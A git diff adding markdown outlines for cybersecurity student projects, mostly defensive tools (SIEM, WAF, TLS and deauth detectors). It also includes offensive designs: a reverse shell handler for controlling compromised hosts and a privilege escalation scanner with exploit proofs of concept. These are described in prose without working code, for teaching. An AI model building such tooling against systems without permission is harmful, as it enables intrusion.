misconfigurations (users can run privileged commands without passwords), and DLL hijacking. Research public exploit databases (Exploit-DB, CVE Details) tracking known escalation exploits. + +2. **Implement SUID/SGID binary enumeration on Linux** by scanning filesystem for binaries with setuid/setgid bits set, extracting: file path, owner (should be restricted user, typically root), permissions, and file type. Use `find` command or direct system calls to identify all SUID/SGID binaries. Cross-reference discovered binaries against known vulnerable binaries database (certain versions of sudo, su, etc. have known escalation exploits). Analyze binary functionality: binaries accepting user input have escalation potential. + +3. **Build file and directory permission analysis** examining permission structure for vulnerabilities: identify world-writable directories in critical paths (/tmp is expected, but /etc shouldn't be), world-readable files containing sensitive information (shadow files, SSH keys, configuration files), and misconfigured home directories. Build permission matrices showing which users/groups have access to which resources. Highlight permission mismatches (file readable by all when it should be restricted, directories writable by unprivileged users). + +4. **Create kernel vulnerability scanning** identifying vulnerable kernel versions susceptible to known exploits: extract current kernel version, cross-reference against CVE databases, identify applicable exploits (DirtyCOW, PwnKit, Polkit vulnerabilities). Recommend patches and kernel updates. Handle multiple Linux distributions with different kernel versioning schemes. + +5. **Implement service configuration analysis** examining running services for escalation opportunities: identify services running as root, analyze service configurations checking for accepted user input, identify common vulnerable services (Apache with mod_cgi, database services accepting client connections). Check init scripts and systemd service files for vulnerabilities (scripts with weak permissions allowing modification, environment variable injection opportunities). + +6. **Build capability and sudo analysis** on Linux systems: extract capabilities set on binaries (granular privilege delegation), identify sudo configurations allowing specific users to run privileged commands. Parse sudoers files detecting misconfigurations (users with NOPASSWD tags, wildcards allowing excessive command execution, weak command restrictions). Analyze which commands users can elevate and their potential for escalation. + +7. **Create Windows privilege escalation scanning** examining Windows systems for escalation vectors: identify services running as system/admin, analyze service permissions checking for weak DACLs (users can modify service executables), examine registry permissions for escalation opportunities, identify scheduled tasks running with elevated privileges that users can modify. Check for weak permissions on critical directories (Windows, System32, Program Files). + +8. **Build comprehensive reporting with attack path analysis** generating reports showing discovered escalation vectors, creating attack paths (initial access → escalation vector → system compromise), and assigning severity scores. Provide proof-of-concept showing how each vector could be exploited, include remediation recommendations (patch vulnerable binaries, fix permission issues, implement least-privilege). Create executive summary highlighting critical escalation paths, compare to security benchmarks, and explain how escalation testing fits into penetration testing and system hardening assessments. Include documentation of escalation methodology, discussion of detection evasion, and incident response implications. + +## Key Concepts to Learn +- Privilege escalation vectors and techniques +- SUID/SGID binaries and capabilities +- File and directory permissions +- Kernel vulnerabilities and CVEs +- Service configuration analysis +- Sudo and sudoers security +- Windows service and registry analysis +- Attack path identification + +## Deliverables +- SUID/SGID binary enumeration +- File and directory permission analysis +- Kernel vulnerability identification +- Service configuration auditing +- Capability analysis (Linux) +- Sudoers configuration analysis +- Windows privilege escalation vectors +- Attack path visualization +- Comprehensive escalation reporting +- Proof-of-concept demonstrations diff --git a/SYNOPSES/intermediate/Reverse.Shell.Handler.md b/SYNOPSES/intermediate/Reverse.Shell.Handler.md new file mode 100644 index 00000000..03aa1d65 --- /dev/null +++ b/SYNOPSES/intermediate/Reverse.Shell.Handler.md @@ -0,0 +1,38 @@ +# Reverse Shell Handler + +## Overview +Build a server application that listens for incoming reverse shell connections from compromised systems, enabling remote command execution, file transfer, and multi-client session management. This project teaches socket programming, command execution, and demonstrates core concepts used in penetration testing and post-exploitation frameworks like Metasploit. + +## Step-by-Step Instructions + +1. **Understand reverse shells and their mechanics** by learning that a reverse shell connects from the target system back to the attacker's server rather than the attacker connecting to the target. When established, the reverse shell provides interactive command execution as if you're logged into the remote system. Research common reverse shell payloads, understand why they're valuable in penetration testing (bypass firewalls that block inbound connections), and recognize that this powerful tool must only be used on authorized systems with explicit permission. + +2. **Implement a socket server** using Python's `socket` library to listen on a specified port for incoming reverse shell connections. Create a listener that accepts multiple concurrent connections using threading or asyncio, assigns unique session IDs to each connection, and maintains a list of active sessions. Handle connection errors gracefully and implement logging that tracks all connections with timestamps and source information. + +3. **Build command execution and sending logic** that takes user input from the attacker's CLI, sends commands to connected reverse shells, and receives and displays command output. Implement proper encoding/decoding for transmitting data over sockets, handle long-running commands that may produce large output, and manage shell interaction (stdin/stdout/stderr). Add session selection allowing the attacker to target specific compromised systems. + +4. **Create file upload and download capabilities** allowing the attacker to transfer files to/from compromised systems—implement methods to read local files and send them to targets, and receive files from targets and save them locally. Add progress indicators for large file transfers and implement checksum verification ensuring file integrity. Handle path traversal safely and validate file operations don't access unauthorized locations. + +5. **Develop multi-client session management** by maintaining a database of active sessions showing source IP, connection time, last activity, and target system information. Implement session switching, reconnection handling for dropped connections, and session persistence across temporary network interruptions. Create session history allowing review of all commands executed in each session for post-engagement documentation. + +6. **Add advanced shell interaction features** like environment variable management (set PATH, USER, HOME on target systems), working directory tracking (cd command handling), shell history retrieval, and process manipulation (list processes, kill processes). Implement command aliases and shortcuts for commonly used attack commands, and add history functionality allowing review of previous commands. + +7. **Build a CLI interface using `cmd2` or similar library** that provides a user-friendly command prompt with help documentation, tab completion, and easy session switching. Create commands for connecting to specific shells, sending commands, uploading/downloading files, listing sessions, and disconnecting. Implement aliases and macro support enabling complex multi-step attacks to be automated. + +8. **Create comprehensive documentation emphasizing this tool is for authorized penetration testing only** with legal warnings about unauthorized system access. Provide setup instructions, usage examples showing common post-exploitation workflows, and discussion of detection evasion techniques and blue team countermeasures. Compare your implementation to commercial frameworks like Metasploit, discuss how reverse shells fit into broader attack chains, and include examples of legitimate penetration testing scenarios where this tool would be appropriate. + +## Key Concepts to Learn +- Socket programming and network communication +- Multi-client server architecture with threading +- Command execution and process management +- File transfer protocols and verification +- Session management and persistence +- CLI design and user interaction + +## Deliverables +- Multi-client reverse shell listener +- Command execution and output handling +- File upload/download with verification +- Session management with history tracking +- Advanced shell interaction features +- User-friendly CLI interface diff --git a/SYNOPSES/intermediate/SIEM.Dashboard.md b/SYNOPSES/intermediate/SIEM.Dashboard.md new file mode 100644 index 00000000..2a351c15 --- /dev/null +++ b/SYNOPSES/intermediate/SIEM.Dashboard.md @@ -0,0 +1,40 @@ +# SIEM Dashboard + +## Overview +Build a Security Information and Event Management (SIEM) dashboard that ingests logs from multiple sources via syslog or file parsing, analyzes events with correlation rules, and visualizes security incidents through an interactive web interface. This project teaches log aggregation, event correlation, data visualization, and demonstrates enterprise security monitoring platforms. + +## Step-by-Step Instructions + +1. **Design the log ingestion pipeline** by researching SIEM architectures and log collection methods: implement syslog receivers listening on UDP/TCP ports for incoming logs from network devices, parse log files from various sources (application logs, firewall logs, IDS alerts), and support multiple log formats through pluggable parsers. Create a normalized event schema so logs from different sources are stored in a consistent format with standard fields (timestamp, source, severity, event type, message). + +2. **Build a FastAPI/Flask backend** that receives ingested logs, performs initial parsing and normalization, and stores events in SQLite or PostgreSQL database. Implement REST API endpoints allowing the frontend to query events by various criteria (time range, source IP, event type, severity), retrieve statistics and aggregations, and trigger custom analyses. Add authentication and authorization so only authorized analysts can access events. + +3. **Implement event correlation rules** that detect patterns across multiple events indicating security incidents: create a rule engine matching sequences of events (e.g., "5 failed logins followed by successful login from unusual location" = suspicious activity), combining events by source IP/user/host, and calculating risk scores based on matched patterns. Store rules in a configuration format allowing security teams to create and modify detection rules without coding. + +4. **Create a data visualization frontend** using React, Chart.js, or Recharts to display security events and analytics: build dashboards showing event timelines, heatmaps of activity by source/destination, pie charts of event distribution by type/severity, and geographic maps showing attack origins. Implement filtering and drill-down capabilities allowing analysts to investigate specific events by exploring related logs. + +5. **Build severity-based filtering and alerting** that categorizes events by criticality (critical, high, medium, low, informational) based on event type and correlation results. Implement alert thresholds so critical events trigger immediate notifications through email, Slack, or webhook services. Create alert fatigue prevention by grouping related alerts and allowing analysts to tune sensitivity per event type. + +6. **Implement time range analysis and trending** allowing analysts to query events across configurable time windows (last hour, last 24 hours, last 7 days, custom ranges). Build trending visualizations showing event volume changes over time, identify anomalies where event rates deviate from baseline patterns, and detect escalating incidents where attack activity is increasing. + +7. **Add forensic investigation capabilities** enabling analysts to pivot between related events: click on a source IP to see all events from that IP, click on a user to see all their activities, view full event details with all available metadata, and export events in various formats (CSV, JSON) for external analysis. Implement search functionality allowing complex queries across multiple fields and text search within log messages. + +8. **Build comprehensive documentation** explaining SIEM concepts and log correlation methodology, providing deployment and configuration guidance, and including examples of detecting real security incidents through correlation. Discuss limitations (SIEM effectiveness depends on quality of ingested logs and rule quality), compare to commercial SIEM platforms (Splunk, Elastic Stack, ArcSight), and explain how SIEM fits into broader security operations centers (SOCs) and incident response workflows. + +## Key Concepts to Learn +- Log aggregation and normalization +- Event correlation and pattern matching +- RESTful API design and backend architecture +- Data visualization and dashboarding +- Database design for log storage +- Alert thresholds and anomaly detection +- Security incident analysis + +## Deliverables +- Syslog receiver and log file parser +- Normalized event storage in database +- Event correlation rule engine +- FastAPI/Flask backend with REST APIs +- React frontend with interactive dashboards +- Severity-based alerting system +- Forensic investigation and pivot capabilities diff --git a/SYNOPSES/intermediate/SSL.TLS.Certificate.Scanner.md b/SYNOPSES/intermediate/SSL.TLS.Certificate.Scanner.md new file mode 100644 index 00000000..2269d842 --- /dev/null +++ b/SYNOPSES/intermediate/SSL.TLS.Certificate.Scanner.md @@ -0,0 +1,42 @@ +# SSL/TLS Certificate Scanner + +## Overview +Build a comprehensive SSL/TLS security scanner that identifies certificate misconfigurations including expired certificates, weak ciphers, missing HSTS headers, and Heartbleed vulnerabilities. This project teaches cryptographic certificate validation, TLS protocol analysis, and demonstrates techniques for assessing HTTPS implementations. + +## Step-by-Step Instructions + +1. **Understand SSL/TLS certificates and common vulnerabilities** by learning certificate structure (X.509 format), key components (subject, issuer, validity dates, public key), and chain of trust. Study certificate validation process: certificate must be signed by trusted Certificate Authority, must not be expired, domain name must match certificate CN or SAN (Subject Alternative Name), and key size should meet minimum requirements (2048-bit RSA, 256-bit ECC). Research vulnerabilities: expired certificates (easy to miss), self-signed certificates (no trusted CA), misconfigured SNI (Server Name Indication), weak ciphers (SSL 2.0, RC4), missing HSTS headers, and protocol vulnerabilities like Heartbleed. + +2. **Implement certificate retrieval and parsing** using Python's `ssl` library and `cryptography` library to connect to target domains, retrieve SSL certificates, and parse X.509 certificate structure. Extract certificate details: subject CN and SANs (domains covered), issuer, validity dates (not-before, not-after), public key algorithm and size, signature algorithm, and certificate extensions (OCSP Stapling, Authority Info Access). Build certificate chain extraction retrieving all certificates from root to subject. + +3. **Build certificate validation checking** verifying certificates meet security standards: check expiration (flag certificates expiring within 30/60/90 days for proactive renewal), verify domain names match (check CN and all SANs), validate certificate chain (all issuers up to root should be trusted), check public key strength (minimum 2048-bit RSA or 256-bit ECC), and verify signature algorithms are secure (SHA256+ signatures, not MD5 or SHA1). Flag certificates with unusual characteristics (self-signed, issued by untrusted CA, key reuse across multiple certificates). + +4. **Implement TLS configuration scanning** analyzing TLS protocol negotiation and cipher selection: check supported SSL/TLS versions (flag SSL 2.0 and 3.0 as deprecated, TLS 1.0/1.1 as outdated, TLS 1.2 as minimum acceptable), test cipher suite support identifying weak ciphers (export-grade, null encryption, DES/RC4), and analyze cipher order preferences (server should prefer strongest ciphers). Use tools like OpenSSL or custom socket connections to test protocol versions and ciphers. + +5. **Create vulnerability scanning for known TLS issues** testing for specific vulnerabilities: Heartbleed (CVE-2014-0160) affecting OpenSSL, POODLE (downgrade to SSL 3.0), CCS Injection, FREAK (forced weak key exchange), Logjam (weak Diffie-Hellman), and other known attacks. Implement tests for each vulnerability indicating whether target is vulnerable and recommended fixes. + +6. **Build HTTP security header analysis** checking for security-related headers that should accompany HTTPS: HSTS (HTTP Strict-Transport-Security, enforces HTTPS), X-Content-Type-Options (prevents MIME sniffing), X-Frame-Options (prevents clickjacking), Content-Security-Policy, and others. Flag missing headers that would improve security, analyze header configuration for mismatches (HSTS missing or too short, CSP too permissive). + +7. **Create comprehensive scanning and reporting** generating reports showing certificate details, validation results, TLS configuration analysis, vulnerability test results, and recommendations. Implement batch scanning for multiple domains, tracking changes over time (certificates renewed, cipher suites updated, vulnerabilities remediated). Build dashboards showing certificate inventory across organization, expiration timeline for proactive renewal, vulnerability summary, and compliance with security standards (CIS benchmarks, PCI-DSS, etc.). + +8. **Build comprehensive documentation** explaining SSL/TLS concepts, certificate validation requirements, and common misconfigurations. Provide remediation guidance (renew expiring certificates, upgrade TLS versions, remove weak ciphers, add security headers), discuss limitations (your scanner tests configuration, automated testing has limits, manual analysis may reveal additional issues), and compare to commercial tools (Qualys SSL Labs, Nessus, OpenVAS). Include best practices for certificate management (automatic renewal, monitoring, testing), discuss organizational certificate policies, and explain integration into DevOps pipelines. + +## Key Concepts to Learn +- X.509 certificate structure and validation +- SSL/TLS protocol versions and security +- Cipher suites and cryptographic algorithms +- Certificate chain of trust +- Known TLS vulnerabilities +- HTTP security headers +- HTTPS best practices +- Certificate lifecycle management + +## Deliverables +- Certificate retrieval and X.509 parsing +- Expiration checking and domain validation +- TLS version and cipher suite analysis +- Vulnerability testing (Heartbleed, POODLE, etc.) +- HTTP security header analysis +- Multi-domain batch scanning +- Certificate inventory and timeline tracking +- Remediation recommendations and reporting diff --git a/SYNOPSES/intermediate/Threat.Intelligence.Aggregator.md b/SYNOPSES/intermediate/Threat.Intelligence.Aggregator.md new file mode 100644 index 00000000..e9279528 --- /dev/null +++ b/SYNOPSES/intermediate/Threat.Intelligence.Aggregator.md @@ -0,0 +1,40 @@ +# Threat Intelligence Aggregator + +## Overview +Build a threat intelligence platform that aggregates Indicators of Compromise (IOCs) from multiple threat feeds including AbuseIPDB, VirusTotal, and AlienVault OTX, enriches data with geolocation and WHOIS information, and provides a searchable database for threat investigation. This project teaches threat intelligence fundamentals, API integration, data enrichment, and demonstrates tools used by security analysts for threat research. + +## Step-by-Step Instructions + +1. **Understand Indicators of Compromise (IOCs) and threat feeds** by learning that IOCs include IP addresses, domain names, file hashes, URLs, and email addresses known to be malicious based on security research and incident investigations. Research existing threat intelligence sources: AbuseIPDB aggregates reports of malicious IPs, VirusTotal analyzes suspicious files and URLs, AlienVault OTX provides open-source threat intelligence, and commercial feeds offer curated data. Set up API accounts and obtain API keys for accessing these services. + +2. **Implement threat feed API clients** that query each threat intelligence source for information about specific IOCs—create functions that check an IP against AbuseIPDB's reputation database, query VirusTotal for file/URL analysis results, and search AlienVault OTX for IOCs. Handle API rate limiting by implementing request queuing and backoff strategies, cache results to minimize API calls, and gracefully handle service outages or errors. + +3. **Build a deduplication engine** that ingests IOCs from multiple sources and identifies duplicates to avoid storing redundant data and prevent confusion. Create a database schema that tracks which IOC came from which source, allowing analysts to understand confidence (IOCs reported by multiple independent sources are more trustworthy) and historical tracking (when was this IOC first detected, is it still active). + +4. **Implement data enrichment** by augmenting IOCs with additional context: perform geolocation lookups determining which country an IP is located in, query WHOIS databases for domain/IP registration information and owner details, cross-reference with DNS data showing domain history, and analyze certificate information for HTTPS endpoints. Store enrichment data linked to original IOCs enabling rich threat analysis. + +5. **Create a threat scoring algorithm** that combines data from multiple sources into a composite risk/threat score, incorporating factors like number of source reports, severity of incidents associated with IOC, recency of reports, and geolocation context. Implement confidence levels distinguishing between high-confidence IOCs reported by many independent sources versus low-confidence reports from single sources that may be false positives. + +6. **Build a searchable database** allowing analysts to query IOCs by various criteria: search for specific IP addresses, domain names, or file hashes; filter by threat type, country, date range, or threat actor; view historical data showing when IOC was first detected and current status. Implement full-text search across stored descriptions and threat intelligence summaries. + +7. **Create visualization and reporting tools** displaying IOC distributions by type/country, threat timelines showing when new IOCs were discovered, and geographic heatmaps showing threat concentration. Build export capabilities allowing analysts to download IOC lists for import into other security tools (firewalls, IDS/IPS, endpoint protection), and generate threat reports highlighting emerging threats and threat actor activity. + +8. **Build comprehensive documentation** explaining threat intelligence concepts, providing API integration examples for common threat feeds, and discussing how threat intelligence fits into security operations. Compare your platform to commercial alternatives (PassiveTotal, Shodan, Recorded Future), discuss confidence scoring methodologies and handling false positives, and provide examples of using threat intelligence for incident response and threat hunting. Include legal considerations around using threat data and privacy implications of storing IOCs. + +## Key Concepts to Learn +- Threat intelligence sources and feeds +- API integration and rate limiting +- Data deduplication and normalization +- Geolocation and WHOIS lookup +- Confidence scoring and risk assessment +- Database design for threat data +- Visualization and reporting + +## Deliverables +- API clients for AbuseIPDB, VirusTotal, AlienVault OTX +- Deduplication and normalization engine +- Data enrichment with geolocation and WHOIS +- Threat scoring and confidence algorithms +- Searchable IOC database +- Multi-source reporting and analysis +- Geographic visualization and heatmaps diff --git a/SYNOPSES/intermediate/Web.Application.Firewall.md b/SYNOPSES/intermediate/Web.Application.Firewall.md new file mode 100644 index 00000000..dbc444c5 --- /dev/null +++ b/SYNOPSES/intermediate/Web.Application.Firewall.md @@ -0,0 +1,45 @@ +# Web Application Firewall (WAF) + +## Overview +Build a reverse proxy WAF that filters HTTP requests for malicious patterns including SQL injection and XSS attacks, maintains configurable whitelist/blacklist rules, and logs all security events. This project teaches HTTP protocol analysis, web attack signatures, and demonstrates techniques used in commercial WAF solutions protecting web applications. + +## Step-by-Step Instructions + +1. **Understand Web Application Firewall concepts and deployment models** by learning WAF operates at application layer (layer 7) analyzing HTTP requests/responses for attacks rather than network-layer firewalls. Study common WAF deployment modes: inline (reverse proxy between clients and backend servers), out-of-band (mirrored traffic for analysis), or cloud-based (SaaS model). Research attack signatures: SQL injection payloads, XSS vectors, path traversal attempts, file inclusion attacks, command injection, and HTTP protocol violations. Understand false positive challenges: legitimate requests may match attack patterns. + +2. **Implement reverse proxy functionality** using `twisted` or similar frameworks to act as proxy intercepting HTTP traffic: accept incoming requests on specified port, forward to backend application server(s), and return responses to clients. Implement connection pooling, request/response buffering, timeout handling, and backend server health checking ensuring proxy remains transparent to legitimate traffic. Support HTTPS inspection (terminate SSL at proxy, decrypt requests, inspect, then re-encrypt to backend). + +3. **Build request inspection and pattern matching** analyzing HTTP requests for indicators of attacks: extract HTTP method, URL path and parameters, headers, request body content, and file uploads. Implement pattern matching engine: exact string matching for known attack signatures, regular expression matching for more complex patterns, and entity decoding (URL decoding, HTML entity decoding, Base64 decoding) ensuring encoded attacks are still detected. + +4. **Create SQL injection detection** implementing signatures that match common SQLi attack patterns: SQL keywords in parameters (SELECT, INSERT, UPDATE, DELETE, DROP, UNION, OR), comment syntax (-- ; /* */), and time-based SQLi indicators (SLEEP, BENCHMARK functions). Build database-agnostic detection covering MySQL, PostgreSQL, MSSQL, and Oracle syntax. Implement learned pattern detection: monitor queries to backend database (if accessible), learn normal query patterns, and flag anomalies. + +5. **Implement XSS detection** identifying script injection attempts: detect HTML/JavaScript tags in parameters (script, iframe, event handlers), encoded variations (entity encoding, unicode, hex encoding), and context-aware XSS (stored in database or cookies). Implement output encoding ensuring that even if XSS payload passes through, it's encoded before browser interprets it. + +6. **Build configurable rules and policies** allowing security teams to define custom rules: create rule definition format (JSON or custom syntax) specifying patterns, actions (block, alert, challenge), exception handling, and metadata. Implement rule management interface enabling creation/modification/deployment without code changes. Support multiple rule sets: base rules (always active), strict rules (aggressive protection, more false positives), custom rules (organization-specific). + +7. **Create whitelist/blacklist and exception handling** allowing legitimate traffic bypassing filters: whitelist specific IPs/users exempt from certain checks, bypass rules for known-good patterns, create geofencing (allow only requests from expected geographic locations). Implement gradual response: first alert, then rate-limit, then block on repeated violations. Build exception workflows where users can request rule exceptions with justification. + +8. **Build logging, monitoring, and response capabilities** recording all security events: log every blocked request with full details (timestamp, source IP, attack type detected, matched signature), maintain statistics on attack trends, and provide alerting for significant events. Create dashboards showing blocked attacks, top attack patterns, and attacker IPs. Implement incident response triggers: automated IP blocking after N violations, notifications to security team, and integration with external incident management systems. Compare to commercial WAFs (ModSecurity, Cloudflare, AWS WAF) discussing capabilities and limitations (WAF complements but doesn't replace application security, false positives require tuning, sophisticated attacks may bypass WAF). + +## Key Concepts to Learn +- HTTP protocol and request structure +- SQL injection and XSS attack patterns +- Reverse proxy architecture +- Request inspection and pattern matching +- Entity decoding and encoding +- Rule-based security filtering +- Exception handling and whitelisting +- Logging and incident response + +## Deliverables +- Reverse proxy implementation +- HTTP request/response interception +- SQL injection detection and blocking +- XSS detection and prevention +- Path traversal and file inclusion detection +- HTTP protocol violation detection +- Configurable rule engine +- Whitelist/blacklist functionality +- Attack logging and statistics +- Security event alerting +- Admin dashboard and reporting diff --git a/SYNOPSES/intermediate/Web.Vulnerability.Scanner.md b/SYNOPSES/intermediate/Web.Vulnerability.Scanner.md new file mode 100644 index 00000000..8a477afe --- /dev/null +++ b/SYNOPSES/intermediate/Web.Vulnerability.Scanner.md @@ -0,0 +1,40 @@ +# Web Application Vulnerability Scanner + +## Overview +Build an asynchronous web vulnerability scanner that crawls websites and tests for common flaws including XSS (Cross-Site Scripting), SQLi (SQL Injection), and CSRF (Cross-Site Request Forgery) using a modular plugin architecture. This project teaches web security testing, application penetration testing, and demonstrates automated vulnerability detection techniques. + +## Step-by-Step Instructions + +1. **Understand common web vulnerabilities** by studying OWASP Top 10: XSS allows injecting malicious scripts executing in victim browsers, SQLi exploits unsanitized SQL queries to access/manipulate databases, CSRF tricks users into performing unintended actions on authenticated sites. Learn testing methodologies for each: XSS testing requires injecting payloads and checking for reflection without encoding, SQLi testing involves database error detection and time-based blind SQLi, CSRF requires identifying state-changing requests lacking token validation. Research existing web scanners (Burp Suite, OWASP ZAP) to understand industry approaches. + +2. **Implement asynchronous web crawling** using `httpx` and `asyncio` to efficiently discover all accessible URLs on target website. Build a crawler that respects robots.txt, avoids infinitely deep crawling, deduplicates URLs, and stores discovered paths in a database. Extract links from HTML pages, follow redirects appropriately, and build a site map representing all discovered endpoints available for testing. + +3. **Design a plugin architecture** for vulnerability tests where each test is implemented as a separate module with standardized interface: plugins receive a URL/request and return findings. Create base plugin classes providing common functionality (sending requests, parsing responses, detecting vulnerabilities), then implement concrete plugins for specific vulnerability types. This modularity allows easy addition of new tests without modifying core scanner logic. + +4. **Build XSS detection module** that injects test payloads (simple tags like ``, event handlers, etc.) into GET/POST parameters and headers, then analyzes responses for reflection without encoding. Implement both reflected XSS detection (payload echoed in response) and check for stored XSS by analyzing form submissions. Use browser automation tools if needed for JavaScript-based XSS, but start with static analysis. + +5. **Implement SQLi detection module** that injects SQL syntax characters and common payloads (single quotes, UNION queries, time delays) into parameters, analyzing responses for SQL errors or suspicious behavior. Implement multiple SQLi detection techniques: error-based (look for SQL error messages), blind time-based (inject delays and measure response time), and UNION-based (inject UNION statements and detect data extraction). Build payloads that work across different database systems (MySQL, PostgreSQL, MSSQL, Oracle). + +6. **Create CSRF detection module** that identifies state-changing requests (POST, PUT, DELETE operations) lacking proper CSRF tokens. Check whether requests include CSRF tokens in hidden form fields or request headers, verify tokens are validated server-side (test by resubmitting with modified/missing tokens), and flag endpoints without protection. Analyze token generation patterns looking for predictable or missing randomization. + +7. **Build result aggregation, severity scoring, and reporting** that collects findings from all plugins, deduplicates results, assigns severity levels based on vulnerability type and exploitability, and generates comprehensive reports. Create HTML/PDF reports showing vulnerabilities, affected endpoints, proof-of-concept demonstrations, and remediation recommendations. Include detailed evidence for each finding allowing developers to understand and fix issues. + +8. **Build comprehensive documentation** explaining web security testing concepts, providing scanner usage examples, and discussing automated testing limitations (some vulnerabilities require human analysis, false positives are possible). Compare your scanner to commercial tools and discuss advantages of building custom scanners for specific applications. Include ethical guidelines emphasizing that vulnerability scanning requires authorization, provide responsible disclosure guidance for found vulnerabilities, and explain how automated scanning fits into broader application security programs. + +## Key Concepts to Learn +- Web vulnerability types (XSS, SQLi, CSRF) +- Asynchronous HTTP requests and crawling +- Plugin architecture and modularity +- Payload generation and injection techniques +- Response analysis and vulnerability detection +- Severity scoring and reporting +- Ethical web security testing + +## Deliverables +- Asynchronous web crawler with deduplication +- Modular plugin-based testing architecture +- XSS detection (reflected and stored) +- SQLi detection (error-based, blind, UNION) +- CSRF detection and validation checking +- Result aggregation and severity scoring +- HTML/PDF reporting with remediation advice diff --git a/SYNOPSES/intermediate/Wireless.Deauth.Detector.md b/SYNOPSES/intermediate/Wireless.Deauth.Detector.md new file mode 100644 index 00000000..01c6088d --- /dev/null +++ b/SYNOPSES/intermediate/Wireless.Deauth.Detector.md @@ -0,0 +1,40 @@ +# Wireless Deauthentication Detector + +## Overview +Build a WiFi security monitor that detects deauthentication attacks by analyzing wireless frames, identifying abnormal disconnect patterns, and alerting administrators when clients are being forcibly disconnected from networks. This project teaches WiFi frame analysis, packet-level networking, and demonstrates techniques for detecting layer 2 wireless attacks. + +## Step-by-Step Instructions + +1. **Understand WiFi deauthentication attacks and frame analysis** by learning that deauthentication attacks use 802.11 management frames (subtype 12) to disconnect clients from access points by sending spoofed deauth messages. Study frame structure: management frames contain source/destination MAC addresses, reason codes indicating disconnect reasons (1=unspecified, 2=previous auth no longer valid, 7=class 2 frame received from non-authenticated entity, etc.), and sequence numbers. Legitimate deauth frames exist but attack frames have anomalous patterns: rapid sequences, unusual reason codes, or spoofed MAC addresses. + +2. **Implement packet capture for 802.11 frames** using `scapy` to capture WiFi packets in monitor mode on Linux using `aircrack-ng` suite tools. Parse management frames specifically, extracting deauthentication frame information including source/destination MACs, reason code, timestamp, and signal strength. Handle frame encryption and implement decryption for WPA2 if capturing encrypted traffic requires it (may use encrypted traffic analysis even without decryption). + +3. **Build deauthentication frame detection** that identifies and filters packets for deauth frames specifically (management frame with type 0, subtype 12), extracts details about the disconnect event, and tracks which clients are being disconnected from which access points. Implement frame validation detecting spoofed or malformed frames, and log legitimate reasons for disconnection (e.g., client leaving network gracefully) differently from attack indicators. + +4. **Create anomaly detection for deauth patterns** by establishing baseline: normal networks have occasional deauth frames (clients disconnecting, roaming between APs), while attacks show abnormal patterns. Detect red flags: high volume of deauth frames in short time period, repeated disconnections of same client, deauth from multiple sources targeting single client (indicates multiple attackers), or deauth frames with unusual reason codes commonly used in attacks (reason 2 "previous authentication no longer valid" or 7 "class 2 frame from non-authenticated entity"). + +5. **Implement client impact tracking** monitoring which WiFi clients are affected by deauthentication patterns: identify clients experiencing frequent unexpected disconnects, correlate deauth frame timing with client disconnect events, and track clients that repeatedly reconnect to network (indicating attack followed by victim reconnection). Build profiles of client behavior helping distinguish attacks from legitimate disconnections. + +6. **Add spoofed frame detection** identifying deauthentication frames originating from sources other than legitimate access points (spoofed source MACs). Compare deauth source MAC against known legitimate APs in network, detect when frames claim to come from non-existent APs, and identify when single attacker uses multiple spoofed MACs to send many deauth frames. Track attacker MAC addresses and attempt to localize attacker location using signal strength analysis. + +7. **Create alerting and logging system** that triggers alerts when deauthentication attacks detected, including attack details (affected clients, AP, attack duration, frames captured, attacker info if identifiable). Log all deauth frames for forensic analysis, build attack timelines showing attack progression, and maintain statistics on attack frequency and trends. Implement graduated alerting: single deauth frame = log only, attack pattern = alert administrators, severe attack = escalate to incident response. + +8. **Build comprehensive documentation** explaining WiFi deauthentication attacks and defenses, discussing detection limitations (cannot fully prevent attacks, only detect them), and providing deployment guidance. Compare your detector to similar tools (MDK3, Airgeddon wrapper), discuss legal considerations (only monitor networks you own or have permission to assess), and explain how deauth detection fits into broader WiFi security monitoring. Include examples of actual attack detection and discuss response actions (changing AP channels to avoid attack, increasing authentication security, using protected management frames - PMF). + +## Key Concepts to Learn +- 802.11 WiFi frame structure and types +- Management frames and subframes +- Monitor mode packet capture +- Anomaly detection and pattern analysis +- Spoofed frame identification +- Client behavior tracking +- Wireless attack signatures + +## Deliverables +- 802.11 management frame capture +- Deauthentication frame identification and parsing +- Anomaly detection for attack patterns +- Client impact tracking +- Spoofed frame detection and localization +- Attack alerting and logging +- Forensic timeline generation diff --git a/api-security-scanner/backend/__init__.py b/api-security-scanner/backend/__init__.py deleted file mode 100644 index 7f125b20..00000000 --- a/api-security-scanner/backend/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -""" -ⒸAngelaMos | 2025 -API Security Scanner Backend Package -""" diff --git a/api-security-scanner/backend/core/__init__.py b/api-security-scanner/backend/core/__init__.py deleted file mode 100644 index 387aea62..00000000 --- a/api-security-scanner/backend/core/__init__.py +++ /dev/null @@ -1 +0,0 @@ -"""Core modules for application infrastructure""" diff --git a/api-security-scanner/conf/nginx/http.conf b/api-security-scanner/conf/nginx/http.conf deleted file mode 100644 index a81238af..00000000 --- a/api-security-scanner/conf/nginx/http.conf +++ /dev/null @@ -1,28 +0,0 @@ -# ⒸAngelaMos | 2025 -# Shared HTTP configuration for both dev and prod -# This file contains common settings used by dev.nginx and prod.nginx - -# Upstream backend (FastAPI) -upstream backend { - server backend:8000; -} - -# Upstream frontend (Vite dev server in dev, static files in prod) -upstream frontend { - server frontend:5173; -} - -# Common proxy settings -proxy_http_version 1.1; -proxy_set_header Upgrade $http_upgrade; -proxy_set_header Connection 'upgrade'; -proxy_set_header Host $host; -proxy_set_header X-Real-IP $remote_addr; -proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; -proxy_set_header X-Forwarded-Proto $scheme; -proxy_cache_bypass $http_upgrade; - -# Timeouts -proxy_connect_timeout 60s; -proxy_send_timeout 60s; -proxy_read_timeout 60s; diff --git a/api-security-scanner/frontend/src/App.tsx b/api-security-scanner/frontend/src/App.tsx deleted file mode 100644 index 7ce89ef4..00000000 --- a/api-security-scanner/frontend/src/App.tsx +++ /dev/null @@ -1,24 +0,0 @@ -/** - * ©AngelaMos | 2025 - * Main application component - */ - -function App() { - return ( -
-

API Security Scanner - Placeholder

-
